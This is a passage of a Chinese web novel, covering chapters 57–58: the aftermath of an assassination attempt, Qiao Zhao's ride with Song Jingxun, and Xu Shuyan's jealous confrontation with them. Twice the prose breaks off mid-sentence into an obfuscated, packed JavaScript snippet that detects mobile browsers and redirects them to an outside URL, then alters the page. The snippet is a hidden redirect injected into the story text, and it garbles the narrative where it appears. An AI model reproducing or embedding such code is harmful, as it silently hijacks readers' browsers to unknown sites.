他眼神冷戾,迅速靠近刺客。然后迅雷不及掩耳之势,用乔昭给他的匕首,往刺客大动脉割去。 动作又利落又干脆,虽然力度不够,但索性人的生命十分脆弱。 一点也不像一个生手。 只有被叶子遮住双眼的乔昭,才会以为徐纾言柔弱矜贵。 那歹徒没想到徐纾言手里竟然藏着一把这么利的匕首,因为没有防范,所以被瞬间解决。 眼看徐纾言脱困,乔昭奋力将身边这些烦人的杂碎挣脱开。她现在不是需要杀人,而是需要逃命。 “驾——” 她快速挥动马鞭,骏马嘶鸣,向前奔驰。 朱雀门就在眼前,近在咫尺。只要他们能进去,保住性命。外面的混乱场面,乔愈年可以率领定北军镇压。 “开城门!!”乔昭大吼一声。 “快把城门打开!是乔昭和掌印!”周行亭在里面焦急的吩咐守门的兵卒开门。 城门缓缓打开一个间隙,可以容纳马车进入。 乔昭挥舞马鞭,加速,快速冲了进去。 57. 第57章 方才实在是惊心动魄,里面的人都为他们捏一把冷汗。 事情发展到这个地步,其实已经很明了。有人想要谋杀皇帝,也顺便除掉他的左膀右臂。 平日里顾昀之在皇宫里不出来,没有机会。大军凯旋这日,便是一个好时机。混在人群里,谁也发现不了,伺机而动。 至于是哪方的势力,敢这样大张旗鼓的就在中京城,搞这么大规模的刺杀,徐纾言心里也有点眉目。 看样子不能徐徐图之,要尽快将他们连根拔起。 乔昭进了朱雀门,立即扯住缰绳,马匹受到约束,渐渐停了下来。 “乔昭,可还有事,受伤了吗?”周行亭急忙走过来,问道。 乔昭脸上是有很多血,暗红鲜血糊成一片,看着有些骇人。 乔昭顺手擦掉脸上的血,回复道: “无事,没有受伤。” “那你脸上这些血?”周行亭有些担心,语气关切。 “别人的。”乔昭简短回答道。 不怪周行亭担心乔昭,实在是因为这次真的太凶险。若是没有乔昭,周行亭自己都差点折在里面。 对于乔昭危难时刻相救,周行亭心里还是十分触动。难免就表现的更热情了些。 乔昭抬眼看向四周,问道:“圣上呢?” 周行亭回复道:“圣上受了惊吓,已经回宫了。宣了太医去看,不知道可有出什么问题。” 乔昭随意点头,既然顾昀之已经回宫,那就跟她没有太多关系了。 两人在外面交谈一阵,徐纾言掀开帐幔,从轿撵里缓缓探出身子。 周行亭这才恍然想到,掌印还在马车里! 他忙转头看过去,见徐纾言要下马车。周行亭连忙伸手去扶他。被徐纾言垂眸瞥了一眼,不着痕迹的躲开了。 周行亭也没多想,收回了手。他以为徐纾言不喜欢和别人接触,要自己下来。 平日里徐纾言下马车,徐霁徐淮必然是先将马凳放好,徐纾言才踩着凳子下来。现在情况特殊,自然没人给他准备马凳。 乔昭转头看过去,就看见徐纾言站在车辕上,踌躇的模样。 似乎是下不来。 乔昭上前一步,向着徐纾言的方向微微抬手。抬眼看向徐纾言,示意他可以撑着她的手,借力跳下来。 徐纾言掀起眼睫,看向乔昭,没有动作。他眼眸有些雾,好像是还没回过神来。 可能他确实吓得不清,乔昭心里暗道。 “下来吗?还是说你要在轿撵里再坐一会儿。”乔昭望向徐纾言,平和问道。 好一会儿,徐纾言才低声回答道:“我想出来透会儿气。” “行。” 乔昭又微微抬手示意,徐纾言这才将手轻轻放在乔昭的手心里。相比于乔昭经常练武握刀,带着薄茧的手,徐纾言的手就显得纤细光滑很多。 乔昭没想那么多,她直接握紧徐纾言的手,随后受着力,让徐纾言下了马车。 待徐纾言站稳后,乔昭自然而然的将手松开。而徐纾言垂在衣袖里的手却在轻轻摩挲。 周行亭站在一旁,他心眼大,性格也大大咧咧,自然没发现乔昭和徐纾言之间的暗潮涌动。 此刻,他十分惊讶,语气都带上了些惊恐:“掌印!你的脸上怎么受伤了?!这么长一条口子!” 乔昭也抬头看过来。 徐纾言脸受伤她有点印象。当时情况紧急,直接抛之脑后。现下安全了,倒是注意到他的脸。 白皙光滑的脸上,赫然一条血痕,十分醒目。就像是碎掉的白玉盘,可惜,但又有一种破碎凌虐的美感。 伤口不深,但是因为划伤的面积大,在徐纾言的脸上,就有一些骇人。 徐纾言自身对外貌本来是不关注的。可乔昭的目光犹如实质,让他不禁有些胡思乱想。 伤了的脸,是不是有些不好看了。 徐纾言微微侧脸,将伤口藏住,把完好的半张脸对着乔昭。 周行亭还在旁边一惊一乍,道:“这么严重?!掌印还是快回宫里,宣太医瞧一瞧。” “快去准备一辆上好的马车,通知宫里的太医备好上等的金疮药!”周行亭急忙对身边的羽林卫吩咐道。 “是。”羽林卫急匆匆走了。 徐纾言自己都还没有说什么,旁边的周行亭就已经心急如焚。好像伤的不是徐纾言的脸,而是周行亭自己。 乔昭在旁边看得有些莫名,这个周行亭对徐纾言未免有些好的太过了。 周承远的儿子不应该和徐纾言势不两立,水火不容吗? 她探究的眼神盯着周行亭,双眸幽深,对周行亭现在的行为有些费解。 …… 一旁的徐纾言自然发现乔昭目光的转变,她把注意力从自己身上,移到了周行亭身上。 可是明明站在乔昭面前的是他啊。 周行亭到底有什么好?值得她这样关注。如果周行亭的脸也划伤了,乔昭还会注意到他吗?徐纾言甚至有些恶毒的想。 徐纾言垂着眼眸,站在一旁,有些沉默。他脸色苍白,但是冒着血珠的伤口却又鲜红刺目。 乔昭收回视线,就看到徐纾言垂眸不语的样子,莫名看着有点可怜。 她鬼使神差的捏住徐纾言的下巴,轻轻抬起,仔细看他脸上的伤口。 “伤口比较浅,好好敷药,很快就会好了。”乔昭嗓音平淡,安慰道。 徐纾言抬眼,一双褐色的眸子,清凌凌的带着雾气,注视着乔昭,抿着唇不说话。 乔昭与他对视,就看他有点委屈的样子。 很在意这个伤口? 她难得的不知道还要说什么,主要是,以往在战场上,这样浅的伤口,真的没人会放在心上。 但毕竟徐纾言是从宫里出来的,金尊玉贵的养着,与乔昭他们风吹日晒定然是不一样的。 半响,乔昭注视着徐纾言的眼睛,又补了一句,安抚道: “不会留疤的,过不了几日就看不出什么痕迹了,别担心。” 她的语气温和中带着一点无奈,就像在哄着委屈闹脾气的小郎君。 徐纾言这才轻轻颌首。 马车适时的赶来,打破两个人之间的氛围。乔昭收回自己的手,对着徐纾言,说道: “你先回宫里,找太医看一看。周行亭在旁边护送你回去。” “那你呢?”徐纾言抬眼看向乔昭,问道。 乔昭挑了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13176188|131900||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 挑眉,眉眼间英气十足:“我去外面会会他们。天子脚下动武,我倒是要去看看是谁吃了熊心豹子胆。” 周行亭在一旁催促徐纾言,让他快上车,别耽误看病。徐纾言有些烦了,斜斜睨他一眼,神色冷淡。 周行亭瞬间闭嘴。 乔昭在旁边噗嗤笑道:“行了,快上车吧。” 徐纾言这才上了马车,临走时,他掀开帐幔看向外面的乔昭。 犹豫半响,还是低声嘱咐了一句:“注意安危。” 乔昭翻身上马,城门缓缓打开,朱雀门街混乱不堪。她双腿一夹马腹,骏马向前奔驰,高束的马尾随风摆动,意气风发。 乔昭向后摆了摆手,朗声道:“知道了!” 随后向外疾驰而去。 ………………………… 外面的歹徒是很多,但是定北军更不少。乔愈年掩护大臣们撤退,郑冬青从城外调了兵力过来支援。 情势逆转,他们便想要混着人群逃跑。 乔昭可不会就这样让他们跑了。她飞身上前,抓住那个收起匕首,准备跟着人群逃窜的歹徒。 乔昭一把抓住他的胳膊,那人猛的一甩。但是乔昭的力气大,紧紧拽住就不会被轻易甩开。 见此招不成,歹徒另一只手顺势抽出匕首,向乔昭袭来,出手狠辣。乔昭侧身闪躲,又犹如鬼魅一般上前,截住他要逃跑的路线。 两个人缠斗起来,歹徒明显不敌,被乔昭按在地上动弹不得。 他眸色暗沉,眼底闪过一丝决绝。事情败露,唯有赴死。歹徒紧闭双眼,准备咬破藏在牙齿里的的毒药。 “想死?没那么容易。”乔昭冷声道。 她单手用力,直接卸下歹徒的下巴,口水不受控制的顺着歹徒的嘴角流下。 乔昭拍了拍歹徒的脸,冷笑一声:“搞出这么大动静,就想一死了之?你的主子也真是个怂货,有胆子做,没胆子被抓?” 她利落的将歹徒绑了,扔在一旁,让人守着。 剩下的歹徒已经不成气候,不过是殊死一搏,鱼死网破罢了。 乔昭对着不远处的林珩喊到:“卸了下巴,别让他们死了!留几个活口,押到大理寺去审问!” 林珩比个手势,高声回复道:“知道了!” 最后这场混乱的闹剧,以城外定北军的强势介入,被镇压了下去。 乔昭很机敏,吩咐人抓住了几个活口,送到了大理寺。让这个事情能够抽丝剥茧,顺藤摸瓜,不至于一点头绪也无。 顾昀之因为刺杀一事,在宫里大发雷霆,怒不可遏!连着杀了好几个当日值守的官员。 他下了死命令要抓住这次的真凶。可能是情绪起伏跌宕,随后又大病一场。连续几天都没来上朝。 因此大军回朝,平定西戎的受封礼也推迟了几天,乔昭又在家呆了一段时日。 闲得无聊,偶尔去裴空青的医馆里帮帮忙,偶尔在家里舞刀弄枪。 一日,昌敬侯府的管事给乔昭送来了一张拜帖,鎏金的外封上画着挺拔翠竹。 上面写到: 送呈: 天气宜人,不知小将军休憩否?欲邀君同往郊外之牧场,共赏骑马之乐趣。-宋景洵。 58. 第 58 章 宋景洵的拜帖乔昭接了,主要是因为那日,已经当着两家长辈答应好的事情,不好再反悔。 第二日乔昭穿着简单的便服,在城门口与宋景洵碰面,一同往郊外牧场去。 郊外的牧场里圈养了许多马匹。都是给中京那些达官贵人们来游玩享乐使用的。 但是乔昭还是骑着昌敬侯府的马出了城。 在城门口,停着一辆马车,简朴干净,没有太多奢华的派头。 在马车旁边站着一个小厮,穿得虽然低调,但是面料材质无一不好,一看就是大户人家的奴仆。 他一直四处张望着,直到乔昭骑着马缓缓而来,他才面露喜色,上前一步询问道: “您可是昌敬侯府的乔小将军?” 乔昭微微颌首,坐在马上没有下来。 见乔昭点头,那小厮高兴转身,对着马车里的人道:“公子,小将军到了。” 片刻,马车里的人掀开帐幔,宋景洵从马车里探出头来,清俊雅致。 宋景洵微笑着望向乔昭,道:“小将军能接下这个帖子,在下十分欣喜。” 宋景洵说话都是温温和和,又谦卑得体。宋家书香门第,世代簪缨,只有这样的人家才能培养出宋景洵这样芝兰玉树之人。 乔昭面露愧色,道:“让学士久等,万分抱歉。” “没有没有,在下也刚到不久,小将军就策马而来,实在有缘。”宋景洵莞尔道。 乔昭颌首。 随后两人便向城外的牧场而去。 乔昭骑马跟在宋景洵的马车旁边,两人一路上无话。主要是乔昭跟宋景洵不熟,也没什么好说的。 秋天的牧场草木已经泛黄,虽然不比夏天绿意盎然。但是秋天的牧场辽阔苍茫,也别有一番风情蕴含其中。 乔昭自小就被乔愈年带到郊外牧场来学习骑射。昌敬侯府虽然什么也不缺,但是对于骑马而言,还是有些撒不开。 因此她对牧场十分熟悉。 乔昭站在一旁,看着宋景洵下了马车。 “我们去马厩那边看看,挑一匹温顺的马给你试试。”乔昭和宋景洵并排向前走着。 “好,劳烦小将军了。”宋景洵略带歉意,弯着眼眸道。 乔昭简短回复道:“不妨事。” 广袤的草原金黄满地,秋风起兮白云飞,草木黄落兮雁南归。两人并排走着,气氛安静宁和,看起来竟十分登对。 言罢,乔昭便不再说话。她一直目视前方,苍辽大地,尽收眼底。 宋景洵跟在她的身旁,良久,他转头看向乔昭,眼眸中有他自己都未曾察觉的情意。 他轻声问道:“小将军这五年,在边疆可还过得习惯?” 乔昭没有转头,平淡回复道:“刚开始不太习惯,后来就适应了。” “肃州艰苦,小将军一待就是五年,回到中京可曾有物是人非之感?”宋景洵又问道。 乔昭这次微微侧头,看向他。宋景洵注视这乔昭的眼睛,莞尔一笑。 乔昭撇开目光,回答道:“中京确实变了许多,但也没到物是人非这般悲凉。” 宋景洵听到乔昭的回答,轻勾唇角,道:“小将军倒是变了些,”他顿了一下,继续道,“又好像什么都没变。” 乔昭不置可否,毕竟五年时光,谁都会变。 ...... 宋景洵确实在骑射方面不佳,虽然能勉强骑马,但是马跑起来他就坐不稳,很容易摔下来。 乔昭不敢跑太快,两个人只能骑在马上,绕着牧场慢悠悠的走着。 有点无聊。 但乔昭没表现出来,就这样跟在宋景洵的旁边,护着他以免出现意外。 眼看着有些晚了,太阳西斜,云卷云舒。现在已经到了申时,再晚些回去,天恐怕要黑了。 宋景洵望向乔昭,适时说道:“天色渐晚,我们还是回去吧。” “行。”乔昭调转马头,往马场方向骑过去。 宋景洵手扯着缰绳,也准备让马匹动起来。可这匹马不知为何,突然受到惊吓,竟然狂奔起来。 乔昭在前面等着宋景洵,看他没跟上来,转头望回去,神色一凛。 宋景洵艰难的扯着缰绳,努力保持平衡,不被马甩下去。那马愈发疯癫,又跑又跳,宋景洵完全没办法控制住。 乔昭迅速驾马上前,腾空跃起,飞身过去,直接坐在宋景洵身后。 “缰绳给我!”乔昭厉声道,手摸向马的缰绳。 宋景洵听见乔昭的声音,立刻放手,乔昭获得主导权。 两个人同骑在一匹马上,实在靠得太近。乔昭的呼吸都打在宋景洵的耳畔,宋景洵甚至能感受到乔昭温热的体温。 只要他微微往后,就能靠在乔昭的怀里。 但是宋景洵并没有这样,他依然挺直身子,与乔昭隔开距离,害怕冒犯了她。 乔昭扯紧缰绳,向上轻抬,连续几次,马匹渐渐停了下来。 乔昭先翻身下马,宋景洵坐在马上,脸色发白,扶着乔昭的手下马。 “许是马匹受了惊吓,学士还好吗?”乔昭问道。 宋景洵白着脸,勉强一笑:“不碍事,是我学艺不精,劳烦小将军。” 看着宋景洵缓了过来,乔昭松了手。乔昭刚才也被吓了一跳,要是宋景洵和自己骑马,出了差池。 已经能想到会引起怎样的轩然大波了。 现在夕阳西下,金色的霞光,将苍茫大地照得愈发金黄,让人为之惊叹。 一马一车往中京而去,将这牧场留在身后,越来越远,越来越远。 ------------------------------------- 宋府和昌敬侯府在同一个市集,那一片都是达官贵人的府邸,所以乔昭和宋景洵同路。 到了中京还不算晚,至少天还没有黑透。路上也有许多归家的行人。 远处徐霁徐淮骑马护在马车两侧。掌印府的马车,宽大奢华,内里都是用皮毛铺就,柔软舒适。 徐纾言刚从宫里回来,闭着双眼,眉头微蹙,面色阴沉。 皇帝虽然这几天不上朝,但是这次朱雀门街的刺杀,如此大的一件事,不可能说拖着顾昀之上朝才解决。 那日活捉的几名歹徒,已经从大理寺移交至慎刑司,由徐纾言亲自来审问。 那些人骨头也是硬,已经用了很多法子。但就是不肯开口,将真正的幕后主谋给供出来。 没问出消息,徐纾言又不能真将人弄死了,所以他现在很不耐烦,心情也十分差。 所以从宫里出来,他就沉着一张脸,沉默不语,徐霁徐淮一瞧便知徐纾言心情不好,更加不敢去触他的眉头。 一路上都气氛压抑。 马车的缓缓停下,徐纾言睁开眼。 他神色不耐,语气冰冷,道:“何事?” “掌印,是乔小将军在外面。”徐霁回复道。 自那日乔昭,力挽狂澜将徐纾言救出去,徐霁徐淮对乔昭的称呼都客气了许多。 徐纾言听到乔昭的名字,眉眼间和缓了些。纤纤素手掀开帐幔,徐纾言向外看去。 果然看到了不远处,乔昭骑在马上的身影。 徐纾言就这样静静的注视着乔昭,目光眷恋。 两个人已经好几天没见面了。自从回了中京,两人见面的机会愈发少。 乔昭今日穿得简单,不像中京的世家子,穿得繁复花哨。她就一袭绛红素衣,黑色腰带,束着高马尾。 炽热得像初升朝阳。 看她这个简单的装扮,又骑着马,想必是刚从郊外牧场骑马归来。她现在还没上任,有些空闲时间。 徐纾言刚想唤她,突然神色一僵。 乔昭身旁的马车掀开帘子,宋景洵俊俏的脸上带着温和的笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13188008|131900||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 乔昭也笑着回答他。 徐纾言眸光微动,脑子空白了一瞬。 看着远处宋景洵笑容满面的模样,徐纾言面色阴沉的可怕,眼底翻涌着复杂的情绪。 乔昭敏锐的感受到冷厉的视线,她转头看过去,正巧和徐纾言双目对视。 乔昭一怔,突然有点踌躇。 要上去打招呼吗?但他看起来似乎心情不佳。 乔昭是不想给自己惹麻烦的。 宋景洵看见乔昭突然停住话语,他也追随着乔昭的目光望过去,便看见北齐朝堂翻云覆雨的司礼监掌印徐纾言。 他和徐纾言在朝堂上几乎没有交流,私下里更是没说过话,宋景洵对徐纾言并不了解。外界对于他的一些不好的传闻,宋景洵也不是听之信之。 徐纾言看见两人颇有默契的一起转过头来。他们看起来是那样般配,脸上都挂着坦荡清澈的笑意,衬得方才怨毒的徐纾言就像是在阴暗中窥伺的怪物。 内心渐渐涌上酸涩,甚至让他有些没办法控制自己的情绪。 他缓缓勾起唇角,涩声道:“乔昭,过来,咱家有事找你。” 话说的很霸道,但是语调又很脆弱,很矛盾。 乔昭是和宋景洵一起过来的,宋景洵觉得既然在街上碰见徐纾言,就打个招呼。虽然不是多大的事,但可以减少很多不必要的麻烦。 宋景洵站在徐纾言的马车前,温声道:“见过掌印,在下是今年新上任的翰林院侍读学士,宋景洵。” 一个是平定西戎的小将军,一个是翰林院的侍读学士,一武一文,确实天作之合。 徐纾言想让自己不要显得太恶毒,温和一些坦荡一些,不至于在宋景洵面前太丢了脸面,但他就是控制不住自己滑向黑暗的情绪。 他听见自己冷冷一笑,尖酸刻薄的说着:“翰林院侍读学士?没听过。你就是宋老太傅的孙子,宋景洵是吧?” 他拐弯抹角的抹黑他,暗讽他是靠着自己的祖父才有了今日的一番成绩。 乔昭皱了皱眉头,没有说话。 宋景洵何其聪慧,自然听出了徐纾言话中有话。他沉默了一瞬,不太清楚徐纾言对他的恶意从何而来。 “祖父年迈已经旧不闻朝中事,连在下任职的告示发出以后,他老人家才知悉。” 宋景洵温和说道,不卑不亢,话里的反驳之意,三个人都听得出来。 “倒是掌印连上任的官员都认不全,管理朝中事物想必也颇费功夫。” 宋景洵在挖苦徐纾言。他虽然温和,但总归是有世家子的气节在里面的。 但是没人能忤逆徐纾言,宋景洵简直是踩着他的逆鳞。 徐纾言瞬间冷了神色,眼中冰冷一片。眼看两人气氛越发紧张,乔昭忙打断。 “掌印不是有事找我吗?不知所谓何事?” 她语气其实很平淡,并没有太多别的情绪。 但是在这样剑拔弩张的情况下,乔昭的平静没有偏向任何人,更让徐纾言怒火中烧。 他气急,竟然笑了出来,锐利的眼尾上挑,眼角眉梢挂着媚意。 像是想到什么,徐纾言挑衅的撇了一眼宋景洵,又盈盈的看向乔昭。 含糊不清,带着暧昧的说道:“你的匕首还在咱家府里,你什么时候来拿。” 乔昭才恍然想起那日,乔昭将匕首给了徐纾言。 看他那日用的趁手,乔昭便大度的说道:“那把匕首与掌印有缘,就送给掌印。” ...... “呵——”徐纾言嗤笑一声。 听到乔昭的回答,他的怒气越发高涨,连着在慎刑司受的气也一并发了出来。 他冷嘲热讽,声音刻薄:“谁稀罕你的匕首,没人要的东西,垃圾似的丢给咱家?!” “今晚你若不来将那破匕首带走。明日咱家直接将它当破铜烂铁融了,丢到护城河里!”